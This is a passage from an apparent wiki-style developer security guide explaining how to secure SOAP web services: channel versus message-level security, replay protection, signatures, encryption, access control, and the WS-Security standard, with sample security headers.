Another approach you could take is to send a text file filled with data to the application that requests it. This is better because a C# application could read the data. But this has another flaw: Lets assume your stock application is not the only one the C# application needs to interact with. Maybe it needs weather data, local restaurant data, movie data, etc. If every one of these applications uses its own unique file format, it would take considerable research to get the C# application to a working state.

The solution to both of these problems is to send a standard file format. A format that any application can use, regardless of the data being transported. Web Services are this solution. They let any application communicate with any other application without having to consider the language it was developed in or the format of the data.

At the simplest level, web services can be seen as a specialized web application that differs mainly at the presentation tier level. While web applications typically are HTML-based, web services are XML-based. Interactive users for B2C (business to consumer) transactions normally access web applications, while web services are employed as building blocks by other web applications for forming B2B (business to business) chains using the so-called SOA model. Web services typically present a public functional interface, callable in a programmatic fashion, while web applications tend to deal with a richer set of features and are content-driven in most cases.

==Securing Web Services ==

Web services, like other distributed applications, require protection at multiple levels:

* SOAP messages that are sent on the wire should be delivered confidentially and without tampering

* The server needs to be confident who it is talking to and what the clients are entitled to

* The clients need to know that they are talking to the right server, and not a phishing site (see the Phishing chapter for more information)

* System message logs should contain sufficient information to reliably reconstruct the chain of events and track those back to the authenticated callers

Correspondingly, the high-level approaches to solutions, discussed in the following sections, are valid for pretty much any distributed application, with some variations in the implementation details.

The good news for Web Services developers is that these are infrastructure-level tasks, so, theoretically, it is only the system administrators who should be worrying about these issues. However, for a number of reasons discussed later in this chapter, WS developers usually have to be at least aware of all these risks, and oftentimes they still have to resort to manually coding or tweaking the protection components.

==Communication security ==

There is a commonly cited statement, and even more often implemented approach – “we are using SSL to protect all communication, we are secure”. At the same time, there have been so many articles published on the topic of “channel security vs. token security” that it hardly makes sense to repeat those arguments here. Therefore, listed below is just a brief rundown of most common pitfalls when using channel security alone:

* It provides only “point-to-point” security

Any communication with multiple “hops” requires establishing separate channels (and trusts) between each communicating node along the way. There is also a subtle issue of trust transitivity, as trusts between node pairs {A,B} and {B,C} do not automatically imply {A,C} trust relationship.

* Storage issue

After messages are received on the server (even if it is not the intended recipient), they exist in the clear-text form, at least – temporarily. Storing the transmitted information at the intermediate aggravates the problem or destination servers in log files (where it can be browsed by anybody) and local caches.

* Lack of interoperability

While SSL provides a standard mechanism for transport protection, applications then have to utilize highly proprietary mechanisms for transmitting credentials, ensuring freshness, integrity, and confidentiality of data sent over the secure channel. Using a different server, which is semantically equivalent, but accepts a different format of the same credentials, would require altering the client and prevent forming automatic B2B service chains.

Standards-based token protection in many cases provides a superior alternative for message-oriented Web Service SOAP communication model.

That said – the reality is that the most Web Services today are still protected by some form of channel security mechanism, which alone might suffice for a simple internal application. However, one should clearly realize the limitations of such approach, and make conscious trade-offs at the design time, whether channel, token, or combined protection would work better for each specific case.

==Passing credentials ==

In order to enable credentials exchange and authentication for Web Services, their developers must address the following issues.

First, since SOAP messages are XML-based, all passed credentials have to be converted to text format. This is not a problem for username/password types of credentials, but binary ones (like X.509 certificates or Kerberos tokens) require converting them into text prior to sending and unambiguously restoring them upon receiving, which is usually done via a procedure called Base64 encoding and decoding.

Second, passing credentials carries an inherited risk of their disclosure – either by sniffing them during the wire transmission, or by analyzing the server logs. Therefore, things like passwords and private keys need to be either encrypted, or just never sent “in the clear”. Usual ways to avoid sending sensitive credentials are using cryptographic hashing and/or signatures.

==Ensuring message freshness ==

Even a valid message may present a danger if it is utilized in a “replay attack” – i.e. it is sent multiple times to the server to make it repeat the requested operation. This may be achieved by capturing an entire message, even if it is sufficiently protected against tampering, since it is the message itself that is used for attack now (see the XML Injection section of the Interpreter Injection chapter).

Usual means to protect against replayed messages is either using unique identifiers (nonces) on messages and keeping track of processed ones, or using a relatively short validity time window. In the Web Services world, information about the message creation time is usually communicated by inserting timestamps, which may just tell the instant the message was created, or have additional information, like its expiration time, or certain conditions.

The latter solution, although easier to implement, requires clock synchronization and is sensitive to “server time skew,” whereas server or clients' clocks drift too much, preventing timely message delivery, although this usually does not present significant problems with modern-day computers. A greater issue lies with message queuing at the servers, where messages may be expiring while waiting to be processed in the queue of an especially busy or non-responsive server.

==Protecting message integrity ==

When a message is received by a web service, it must always ask two questions: “whether I trust the caller,” “whether it created this message.” Assuming that the caller trust has been established one way or another, the server has to be assured that the message it is looking at was indeed issued by the caller, and not altered along the way (intentionally or not). This may affect technical qualities of a SOAP message, such as the message’s timestamp, or business content, such as the amount to be withdrawn from the bank account. Obviously, neither change should go undetected by the server.

In communication protocols, there are usually some mechanisms like checksum applied to ensure packet’s integrity. This would not be sufficient, however, in the realm of publicly exposed Web Services, since checksums (or digests, their cryptographic equivalents) are easily replaceable and cannot be reliably tracked back to the issuer. The required association may be established by utilizing HMAC, or by combining message digests with either cryptographic signatures or with secret key-encryption (assuming the keys are only known to the two communicating parties) to ensure that any change will immediately result in a cryptographic error.

==Protecting message confidentiality ==

Oftentimes, it is not sufficient to ensure the integrity – in many cases it is also desirable that nobody can see the data that is passed around and/or stored locally. It may apply to the entire message being processed, or only to certain parts of it – in either case, some type of encryption is required to conceal the content. Normally, symmetric encryption algorithms are used to encrypt bulk data, since it is significantly faster than the asymmetric ones. Asymmetric encryption is then applied to protect the symmetric session keys, which, in many implementations, are valid for one communication only and are subsequently discarded.

Applying encryption requires conducting an extensive setup work, since the communicating parties now have to be aware of which keys they can trust, deal with certificate and key validation, and know which keys should be used for communication.

In many cases, encryption is combined with signatures to provide both integrity and confidentiality. Normally, signing keys are different from the encrypting ones, primarily because of their different lifecycles – signing keys are permanently associated with their owners, while encryption keys may be invalidated after the message exchange. Another reason may be separation of business responsibilities - the signing authority (and the corresponding key) may belong to one department or person, while encryption keys are generated by the server controlled by members of IT department.

==Access control ==

After the message has been received and successfully validated, the server must decide:

* Does it know who is requesting the operation (Identification)

* Does it trust the caller’s identity claim (Authentication)

* Does it allow the caller to perform this operation (Authorization)

There is not much WS-specific activity that takes place at this stage – just several new ways of passing the credentials for authentication. Most often, authorization (or entitlement) tasks occur completely outside of the Web Service implementation, at the Policy Server that protects the whole domain.

There is another significant problem here – the traditional HTTP firewalls do not help at stopping attacks at the Web Services. An organization would need an XML/SOAP firewall, which is capable of conducting application-level analysis of the web server’s traffic and make intelligent decision about passing SOAP messages to their destination. The reader would need to refer to other books and publications on this very important topic, as it is impossible to cover it within just one chapter.

==Audit ==

A common task, typically required from the audits, is reconstructing the chain of events that led to a certain problem. Normally, this would be achieved by saving server logs in a secure location, available only to the IT administrators and system auditors, in order to create what is commonly referred to as “audit trail”. Web Services are no exception to this practice, and follow the general approach of other types of Web Applications.

Another auditing goal is non-repudiation, meaning that a message can be verifiably traced back to the caller. Following the standard legal practice, electronic documents now require some form of an “electronic signature”, but its definition is extremely broad and can mean practically anything – in many cases, entering your name and birthday qualifies as an e-signature.

As far as the WS are concerned, such level of protection would be insufficient and easily forgeable. The standard practice is to require cryptographic digital signatures over any content that has to be legally binding – if a document with such a signature is saved in the audit log, it can be reliably traced to the owner of the signing key.

==Web Services Security Hierarchy ==

Technically speaking, Web Services themselves are very simple and versatile – XML-based communication, described by an XML-based grammar, called Web Services Description Language (WSDL, see http://www.w3.org/TR/2005/WD-wsdl20-20050510), which binds abstract service interfaces, consisting of messages, expressed as XML Schema, and operations, to the underlying wire format. Although it is by no means a requirement, the format of choice is currently SOAP over HTTP. This means that Web Service interfaces are described in terms of the incoming and outgoing SOAP messages, transmitted over HTTP protocol.

===Standards committees ===

Before reviewing the individual standards, it is worth taking a brief look at the organizations which are developing and promoting them. There are quite a few industry-wide groups and consortiums working in this area, most important of which are listed below.

W3C (see http://www.w3.org) is the most well known industry group, which owns many Web-related standards and develops them in Working Group format. Of particular interest to this chapter are XML Schema, SOAP, XML-dsig, XML-enc, and WSDL standards (called recommendations in the W3C’s jargon).

OASIS (see http://www.oasis-open.org) mostly deals with Web Service-specific standards, not necessarily security-related. It also operates on a committee basis, forming so-called Technical Committees (TC) for the standards that it is going to be developing. Of interest for this discussion, OASIS owns WS-Security and SAML standards.

Web Services Interoperability Organization (WS-I, see http://www.ws-i.org/) was formed to promote a general framework for interoperable Web Services. Mostly its work consists of taking other broadly accepted standards, and developing so-called profiles, or sets of requirements for conforming Web Service implementations. In particular, its Basic Security Profile (BSP) relies on the OASIS’ WS-Security standard and specifies sets of optional and required security features in Web Services that claim interoperability.

Liberty Alliance (LA, see http://projectliberty.org) consortium was formed to develop and promote an interoperable Identity Federation framework. Although this framework is not strictly Web Service-specific, but rather general, it is important for this topic because of its close relation with the SAML standard developed by OASIS.

Besides the previously listed organizations, there are other industry associations, both permanently established and short-lived, which push forward various Web Service security activities. They are usually made up of software industry’s leading companies, such as Microsoft, IBM, Verisign, BEA, Sun, and others, that join them to work on a particular issue or proposal. Results of these joint activities, once they reach certain maturity, are often submitted to standardizations committees as a basis for new industry standards.

==SOAP ==

Simple Object Access Protocol (SOAP, see http://www.w3.org/TR/2003/REC-soap12-part1-20030624/) provides an XML-based framework for exchanging structured and typed information between peer services. This information, formatted into Header and Body, can theoretically be transmitted over a number of transport protocols, but only HTTP binding has been formally defined and is in active use today. SOAP provides for Remote Procedure Call-style (RPC) interactions, similar to remote function calls, and Document-style communication, with message contents based exclusively on XML Schema definitions in the Web Service’s WSDL. Invocation results may be optionally returned in the response message, or a Fault may be raised, which is roughly equivalent to using exceptions in traditional programming languages.

SOAP protocol, while defining the communication framework, provides no help in terms of securing message exchanges – the communications must either happen over secure channels, or use protection mechanisms described later in this chapter.

===XML security specifications (XML-dsig & Encryption) ===

XML Signature (XML-dsig, see http://www.w3.org/TR/2002/REC-xmldsig-core-20020212/), and XML Encryption (XML-enc, see http://www.w3.org/TR/2002/REC-xmlenc-core-20021210/) add cryptographic protection to plain XML documents. These specifications add integrity, message and signer authentication, as well as support for encryption/decryption of whole XML documents or only of some elements inside them.

The real value of those standards comes from the highly flexible framework developed to reference the data being processed (both internal and external relative to the XML document), refer to the secret keys and key pairs, and to represent results of signing/encrypting operations as XML, which is added to/substituted in the original document.

However, by themselves, XML-dsig and XML-enc do not solve the problem of securing SOAP-based Web Service interactions, since the client and service first have to agree on the order of those operations, where to look for the signature, how to retrieve cryptographic tokens, which message elements should be signed and encrypted, how long a message is considered to be valid, and so on. These issues are addressed by the higher-level specifications, reviewed in the following sections.

===Security specifications ===

In addition to the above standards, there is a broad set of security-related specifications being currently developed for various aspects of Web Service operations.

One of them is SAML, which defines how identity, attribute, and authorization assertions should be exchanged among participating services in a secure and interoperable way.

A broad consortium, headed by Microsoft and IBM, with the input from Verisign, RSA Security, and other participants, developed a family of specifications, collectively known as “Web Services Roadmap”. Its foundation, WS-Security, has been submitted to OASIS and became an OASIS standard in 2004. Other important specifications from this family are still found in different development stages, and plans for their submission have not yet been announced, although they cover such important issues as security policies (WS-Policy et al), trust issues and security token exchange (WS-Trust), establishing context for secure conversation (WS-SecureConversation). One of the specifications in this family, WS-Federation, directly competes with the work being done by the LA consortium, and, although it is supposed to be incorporated into the Longhorn release of Windows, its future is not clear at the moment, since it has been significantly delayed and presently does not have industry momentum behind it.

==WS-Security Standard ==

WS-Security specification (WSS) was originally developed by Microsoft, IBM, and Verisign as part of a “Roadmap”, which was later renamed to Web Services Architecture, or WSA. WSS served as the foundation for all other specifications in this domain, creating a basic infrastructure for developing message-based security exchange. Because of its importance for establishing interoperable Web Services, it was submitted to OASIS and, after undergoing the required committee process, became an officially accepted standard. Current version is 1.0, and the work on the version 1.1 of the specification is under way and is expected to be finishing in the second half of 2005.
[[category:FIXME | outdated info? is it complete now?]]

===Organization of the standard ===

The WSS standard itself deals with several core security areas, leaving many details to so-called profile documents. The core areas, broadly defined by the standard, are:

* Ways to add security headers (WSSE Header) to SOAP Envelopes

* Attachment of security tokens and credentials to the message

* Inserting a timestamp

* Signing the message

* Encrypting the message

* Extensibility

Flexibility of the WS-Security standard lies in its extensibility, so that it remains adaptable to new types of security tokens and protocols that are being developed. This flexibility is achieved by defining additional profiles for inserting new types of security tokens into the WSS framework. While the signing and encrypting parts of the standards are not expected to require significant changes (only when the underlying XML-dsig and XML-enc are updated), the types of tokens, passed in WSS messages, and ways of attaching them to the message may vary substantially. At the high level the WSS standard defines three types of security tokens, attachable to a WSS Header: Username/password, Binary, and XML tokens. Each of those types is further specified in one (or more) profile document, which defines additional tokens' attributes and elements, needed to represent a particular type of security token.

[[Image:WSS_Specification_Hierarchy.gif|Figure 4: WSS specification hierarchy]]

===Purpose ===

The primary goal of the WSS standard is providing tools for message-level communication protection, whereas each message represents an isolated piece of information, carrying enough security data to verify all important message properties, such as: authenticity, integrity, freshness, and to initiate decryption of any encrypted message parts. This concept is a stark contrast to the traditional channel security, which methodically applies pre-negotiated security context to the whole stream, as opposed to the selective process of securing individual messages in WSS. In the Roadmap, that type of service is eventually expected to be provided by implementations of standards like WS-SecureConversation.

From the beginning, the WSS standard was conceived as a message-level toolkit for securely delivering data for higher level protocols. Those protocols, based on the standards like WS-Policy, WS-Trust, and Liberty Alliance, rely on the transmitted tokens to implement access control policies, token exchange, and other types of protection and integration. However, taken alone, the WSS standard does not mandate any specific security properties, and an ad-hoc application of its constructs can lead to subtle security vulnerabilities and hard to detect problems, as is also discussed in later sections of this chapter.

==WS-Security Building Blocks ==

The WSS standard actually consists of a number of documents – one core document, which defines how security headers may be included into SOAP envelope and describes all high-level blocks, which must be present in a valid security header. Profile documents have the dual task of extending definitions for the token types they are dealing with, providing additional attributes, elements, as well as defining relationships left out of the core specification, such as using attachments.

Core WSS 1.1 specification, located at http://www.oasis-open.org/committees/download.php/16790/wss-v1.1-spec-os-SOAPMessageSecurity.pdf, defines several types of security tokens (discussed later in this section – see 0), ways to reference them, timestamps, and ways to apply XML-dsig and XML-enc in the security headers – see the XML Dsig section for more details about their general structure.

Associated specifications are:

* Username token profile 1.1, located at http://www.oasis-open.org/committees/download.php/16782/wss-v1.1-spec-os-UsernameTokenProfile.pdf, which adds various password-related extensions to the basic UsernameToken from the core specification

* X.509 token profile 1.1, located at http://www.oasis-open.org/committees/download.php/16785/wss-v1.1-spec-os-x509TokenProfile.pdf which specifies, how X.509 certificates may be passed in the BinarySecurityToken, specified by the core document

* SAML Token profile 1.1, located at http://www.oasis-open.org/committees/download.php/16768/wss-v1.1-spec-os-SAMLTokenProfile.pdf that specifies how XML-based SAML tokens can be inserted into WSS headers.

* Kerberos Token Profile 1.1, located at http://www.oasis-open.org/committees/download.php/16788/wss-v1.1-spec-os-KerberosTokenProfile.pdf that defines how to encode Kerberos tickets and attach them to SOAP messages.

* Rights Expression Language (REL) Token Profile 1.1, located at http://www.oasis-open.org/committees/download.php/16687/oasis-wss-rel-token-profile-1.1.pdf that describes the use of ISO/IEC 21000-5 Rights Expressions with respect to the WS-Security specification.

* SOAP with Attachments (SWA) Profile 1.1, located at http://www.oasis-open.org/committees/download.php/16672/wss-v1.1-spec-os-SwAProfile.pdf that describes how to use WSS-Sec with SOAP Messages with Attachments.

===How data is passed ===

WSS security specification deals with two distinct types of data: security information, which includes security tokens, signatures, digests, etc; and message data, i.e. everything else that is passed in the SOAP message. Being an XML-based standard, WSS works with textual information grouped into XML elements. Any binary data, such as cryptographic signatures or Kerberos tokens, has to go through a special transform, called Base64 encoding/decoding, which provides straightforward conversion from binary to ASCII formats and back. The example below demonstrates how binary data looks like in the encoded format:

''cCBDQTAeFw0wNDA1MTIxNjIzMDRaFw0wNTA1MTIxNjIzMDRaMG8xCz''

After encoding a binary element, an attribute with the algorithm’s identifier is added to the XML element carrying the data, so that the receiver would know to apply the correct decoder to read it. These identifiers are defined in the WSS specification documents.

===Security header’s structure ===

A security header in a message is used as a sort of an envelope around a letter – it seals and protects the letter, but does not care about its content. This “indifference” works in the other direction as well, as the letter (SOAP message) should not know, nor should it care about its envelope (WSS Header), since the different units of information, carried on the envelope and in the letter, are presumably targeted at different people or applications.

A SOAP Header may actually contain multiple security headers, as long as they are addressed to different actors (for SOAP 1.1), or roles (for SOAP 1.2). Their contents may also be referring to each other, but such references present a very complicated logistical problem for determining the proper order of decryptions/signature verifications, and should generally be avoided. WSS security header itself has a loose structure, as the specification itself does not require any elements to be present – so, the minimalist header with an empty message will look like:

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" soap:mustUnderstand="1">

</wsse:Security>
</soap:Header>
<soap:Body>

</soap:Body>
</soap:Envelope>

However, to be useful, it must carry some information, which is going to help securing the message. It means including one or more security tokens (see 0) with references, XML Signature, and XML Encryption elements, if the message is signed and/or encrypted. So, a typical header will look more like the following picture:

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<wsse:Security xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" soap:mustUnderstand="1">
<wsse:BinarySecurityToken EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3" wsu:Id="aXhOJ5">MIICtzCCAi...
</wsse:BinarySecurityToken>
<xenc:EncryptedKey xmlns:xenc="http://www.w3.org/2001/04/xmlenc#">
<xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-1_5"/>
<dsig:KeyInfo xmlns:dsig="http://www.w3.org/2000/09/xmldsig#">
<wsse:SecurityTokenReference>
<wsse:Reference URI="#aXhOJ5" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3"/>
</wsse:SecurityTokenReference>
</dsig:KeyInfo>
<xenc:CipherData>
<xenc:CipherValue>Nb0Mf...</xenc:CipherValue>
</xenc:CipherData>
<xenc:ReferenceList>
<xenc:DataReference URI="#aDNa2iD"/>
</xenc:ReferenceList>
</xenc:EncryptedKey>
<wsse:SecurityTokenReference wsu:Id="aZG0sG">
<wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID" wsu:Id="a2tv1Uz"> 1106844369755</wsse:KeyIdentifier>
</wsse:SecurityTokenReference>
<saml:Assertion AssertionID="1106844369755" IssueInstant="2005-01-27T16:46:09.755Z" Issuer="www.my.com" MajorVersion="1" MinorVersion="1" xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion">
...
</saml:Assertion>
<wsu:Timestamp wsu:Id="afc6fbe-a7d8-fbf3-9ac4-f884f435a9c1">
<wsu:Created>2005-01-27T16:46:10Z</wsu:Created>
<wsu:Expires>2005-01-27T18:46:10Z</wsu:Expires>
</wsu:Timestamp>
<dsig:Signature xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" Id="sb738c7">
<dsig:SignedInfo Id="obLkHzaCOrAW4kxC9az0bLA22">
...
<dsig:Reference URI="#s91397860">
...
<dsig:DigestValue>5R3GSp+OOn17lSdE0knq4GXqgYM=</dsig:DigestValue>
</dsig:Reference>
</dsig:SignedInfo>
<dsig:SignatureValue Id="a9utKU9UZk">LIkagbCr5bkXLs8l...</dsig:SignatureValue>
<dsig:KeyInfo>
<wsse:SecurityTokenReference>
<wsse:Reference URI="#aXhOJ5" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3"/>
</wsse:SecurityTokenReference>
</dsig:KeyInfo>
</dsig:Signature>
</wsse:Security>
</soap:Header>
<soap:Body xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" wsu:Id="s91397860">
<xenc:EncryptedData xmlns:xenc="http://www.w3.org/2001/04/xmlenc#" Id="aDNa2iD" Type="http://www.w3.org/2001/04/xmlenc#Content">
<xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#tripledes-cbc"/>
<xenc:CipherData>
<xenc:CipherValue>XFM4J6C...</xenc:CipherValue>
</xenc:CipherData>
</xenc:EncryptedData>
</soap:Body>
</soap:Envelope>

===Types of tokens ===

A WSS Header may have the following types of security tokens in it:

* Username token

Defines mechanisms to pass username and, optionally, a password - the latter is described in the username profile document. Unless the whole token is encrypted, a message which includes a clear-text password should always be transmitted via a secured channel. In situations where the target Web Service has access to clear-text passwords for verification (this might not be possible with LDAP or some other user directories, which do not return clear-text passwords), using a hashed version with nonce and a timestamp is generally preferable. The profile document defines an unambiguous algorithm for producing password hash:

Password_Digest = Base64 ( SHA-1 ( nonce + created + password ) )

* Binary token

They are used to convey binary data, such as X.509 certificates, in a text-encoded format, Base64 by default. The core specification defines BinarySecurityToken element, while profile documents specify additional attributes and sub-elements to handle attachment of various tokens. Presently, both the X.509 and the Kerberos profiles have been adopted.

<wsse:BinarySecurityToken EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3" wsu:Id="aXhOJ5">
MIICtzCCAi...
</wsse:BinarySecurityToken>

* XML token

These are meant for any kind of XML-based tokens, but primarily – for SAML assertions. The core specification merely mentions the possibility of inserting such tokens, leaving all details to the profile documents. At the moment, SAML 1.1 profile has been accepted by OASIS.

<saml:Assertion AssertionID="1106844369755" IssueInstant="2005-01-27T16:46:09.755Z" Issuer="www.my.com" MajorVersion="1" MinorVersion="1" xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion">
...
</saml:Assertion>

Although technically it is not a security token, a Timestamp element may be inserted into a security header to ensure message’s freshness. See the further reading section for a design pattern on this.

===Referencing message parts ===

In order to retrieve security tokens, passed in the message, or to identify signed and encrypted message parts, the core specification adopts usage of a special attribute, wsu:Id. The only requirement on this attribute is that the values of such IDs should be unique within the scope of XML document where they are defined. Its application has a significant advantage for the intermediate processors, as it does not require understanding of the message’s XML Schema. Unfortunately, XML Signature and Encryption specifications do not allow for attribute extensibility (i.e. they have closed schema), so, when trying to locate signature or encryption elements, local IDs of the Signature and Encryption elements must be considered first.

WSS core specification also defines a general mechanism for referencing security tokens via SecurityTokenReference element. An example of such element, referring to a SAML assertion in the same header, is provided below:

<wsse:SecurityTokenReference wsu:Id="aZG0sGbRpXLySzgM1X6aSjg22">
<wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID" wsu:Id="a2tv1Uz">
1106844369755
</wsse:KeyIdentifier>

</wsse:SecurityTokenReference>

As this element was designed to refer to pretty much any possible token type (including encryption keys, certificates, SAML assertions, etc) both internal and external to the WSS Header, it is enormously complicated. The specification recommends using two of its possible four reference types – Direct References (by URI) and Key Identifiers (some kind of token identifier). Profile documents (SAML, X.509 for instance) provide additional extensions to these mechanisms to take advantage of specific qualities of different token types.

==Communication Protection Mechanisms ==

As was already explained earlier (see 0), channel security, while providing important services, is not a panacea, as it does not solve many of the issues facing Web Service developers. WSS helps addressing some of them at the SOAP message level, using the mechanisms described in the sections below.
[[Category:FIXME|Please check the reference (see 0)]]

===Integrity ===

WSS specification makes use of the XML-dsig standard to ensure message integrity, restricting its functionality in certain cases; for instance, only explicitly referenced elements can be signed (i.e. no Embedding or Embedded signature modes are allowed). Prior to signing an XML document, a transformation is required to create its canonical representation, taking into account the fact that XML documents can be represented in a number of semantically equivalent ways. There are two main transformations defined by the XML Digital Signature WG at W3C, Inclusive and Exclusive Canonicalization Transforms (C14N and EXC-C14N), which differ in the way namespace declarations are processed. The WSS core specification specifically recommends using EXC-C14N, as it allows copying signed XML content into other documents without invalidating the signature.

In order to provide a uniform way of addressing signed tokens, WSS adds a Security Token Reference (STR) Dereference Transform option, which is comparable with dereferencing a pointer to an object of specific data type in programming languages. Similarly, in addition to the XML Signature-defined ways of addressing signing keys, WSS allows for references to signing security tokens through the STR mechanism (explained in 0), extended by token profiles to accommodate specific token types. A typical signature example is shown in an earlier sample in the section 0.
[[Category:FIXME|Please check the reference (see 0)]]

Typically, an XML signature is applied to secure elements such as SOAP Body and the timestamp, as well as any user credentials, passed in the request. There is an interesting twist when a particular element is both signed and encrypted, since these operations may follow (even repeatedly) in any order, and knowledge of their ordering is required for signature verification. To address this issue, the WSS core specification requires that each new element is pre-pended to the security header, thus defining the “natural” order of operations. A particularly nasty problem arises when there are several security headers in a single SOAP message, using overlapping signature and encryption blocks, as there is nothing in this case that would point to the right order of operations.

===Confidentiality ===

For its confidentiality protection, WSS relies on yet another standard, XML Encryption. Similarly to XML-dsig, this standard operates on selected elements of the SOAP message, but it then replaces the encrypted element’s data with a <xenc:EncryptedData> sub-element carrying the encrypted bytes. For encryption efficiency, the specification recommends using a unique key, which is then encrypted by the recipient’s public key and pre-pended to the security header in a <xenc:EncryptedKey> element. A SOAP message with encrypted body is shown in the section 0.
[[Category:FIXME|Please check the reference (see 0)]]

===Freshness ===

SOAP messages’ freshness is addressed via timestamp mechanism – each security header may contain just one such element, which states, in UTC time and using the UTC time format, creation and expiration moments of the security header. It is important to realize that the timestamp is applied to the WSS Header, not to the SOAP message itself, since the latter may contain multiple security headers, each with a different timestamp. There is an unresolved problem with this “single timestampt” approach, since, once the timestamp is created and signed, it is impossible to update it without breaking existing signatures, even in case of a legitimate change in the WSS Header.

'' <wsu:Timestamp wsu:Id="afc6fbe-a7d8-fbf3-9ac4-f884f435a9c1">''

'' <wsu:Created>2005-01-27T16:46:10Z</wsu:Created>''

'' <wsu:Expires>2005-01-27T18:46:10Z</wsu:Expires>''

'' </wsu:Timestamp>''

If a timestamp is included in a message, it is typically signed to prevent tampering and replay attacks. There is no mechanism foreseen to address clock synchronization issue (which, as was already point out earlier, is generally not an issue in modern day systems) – this has to be addressed out-of-band as far as the WSS mechanics is concerned. See the further reading section for a design pattern addressing this issue.

==Access Control Mechanisms ==

When it comes to access control decisions, Web Services do not offer specific protection mechanisms by themselves – they just have the means to carry the tokens and data payloads in a secure manner between source and destination SOAP endpoints.

For more complete description of access control tasks, please, refer to other sections of this Development Guide.

===Identification ===

Identification represents a claim to have certain identity, which is expressed by attaching certain information to the message. This can be a username, an SAML assertion, a Kerberos ticket, or any other piece of information, from which the service can infer who the caller claims to be.

WSS represents a very good way to convey this information, as it defines an extensible mechanism for attaching various token types to a message (see 0). It is the receiver’s job to extract the attached token and figure out which identity it carries, or to reject the message if it can find no acceptable token in it.
[[Category:FIXME|Please check the reference (see 0)]]

===Authentication ===

Authentication can come in two flavors – credentials verification or token validation. The subtle difference between the two is that tokens are issued after some kind of authentication has already happened prior to the current invocation, and they usually contain user’s identity along with the proof of its integrity.

WSS offers support for a number of standard authentication protocols by defining binding mechanism for transmitting protocol-specific tokens and reliably linking them to the sender. However, the mechanics of proof that the caller is who he claims to be is completely at the Web Service’s discretion. Whether it takes the supplied username and password’s hash and checks it against the backend user store, or extracts subject name from the X.509 certificate used for signing the message, verifies the certificate chain and looks up the user in its store – at the moment, there are no requirements or standards which would dictate that it should be done one way or another.

===Authorization ===

XACML may be used for expressing authorization rules, but its usage is not Web Service-specific – it has much broader scope. So, whatever policy or role-based authorization mechanism the host server already has in place will most likely be utilized to protect the deployed Web Services deployed as well.

Depending on the implementation, there may be several layers of authorization involved at the server. For instance, JSRs 224 (JAX-RPC 2.0) and 109 (Implementing Enterprise Web Services), which define Java binding for Web Services, specify implementing Web Services in J2EE containers. This means that when a Web Service is accessed, there will be a URL authorization check executed by the J2EE container, followed by a check at the Web Service layer for the Web Service-specific resource. Granularity of such checks is implementation-specific and is not dictated by any standards. In the Windows universe it happens in a similar fashion, since IIS is going to execute its access checks on the incoming HTTP calls before they reach the ASP.NET runtime, where SOAP message is going to be further decomposed and analyzed.

===Policy Agreement ===

Normally, Web Services’ communication is based on the endpoint’s public interface, defined in its WSDL file. This descriptor has sufficient details to express SOAP binding requirements, but it does not define any security parameters, leaving Web Service developers struggling to find out-of-band mechanisms to determine the endpoint’s security requirements.

To make up for these shortcomings, WS-Policy specification was conceived as a mechanism for expressing complex policy requirements and qualities, sort of WSDL on steroids. Through the published policy SOAP endpoints can advertise their security requirements, and their clients can apply appropriate measures of message protection to construct the requests. The general WS-Policy specification (actually comprised of three separate documents) also has extensions for specific policy types, one of them – for security, WS-SecurityPolicy.

If the requestor does not possess the required tokens, it can try obtaining them via trust mechanism, using WS-Trust-enabled services, which are called to securely exchange various token types for the requested identity.

[[Image: Using Trust Service.gif|Figure 5. Using Trust service]]

Unfortunately, both WS-Policy and WS-Trust specifications have not been submitted for standardization to public bodies, and their development is progressing via private collaboration of several companies, although it was opened up for other participants as well. As a positive factor, there have been several interoperability events conducted for these specifications, so the development process of these critical links in the Web Services’ security infrastructure is not a complete black box.

==Forming Web Service Chains ==

Many existing or planned implementations of SOA or B2B systems rely on dynamic chains of Web Services for accomplishing various business specific tasks, from taking the orders through manufacturing and up to the distribution process.

[[Image:Service Chain.gif|Figure 6: Service chain]]

This is in theory. In practice, there are a lot of obstacles hidden among the way, and one of the major ones among them – security concerns about publicly exposing processing functions to intra- or Internet-based clients.

Here are just a few of the issues that hamper Web Services interaction – incompatible authentication and authorization models for users, amount of trust between services themselves and ways of establishing such trust, maintaining secure connections, and synchronization of user directories or otherwise exchanging users’ attributes. These issues will be briefly tackled in the following paragraphs.

===Incompatible user access control models ===

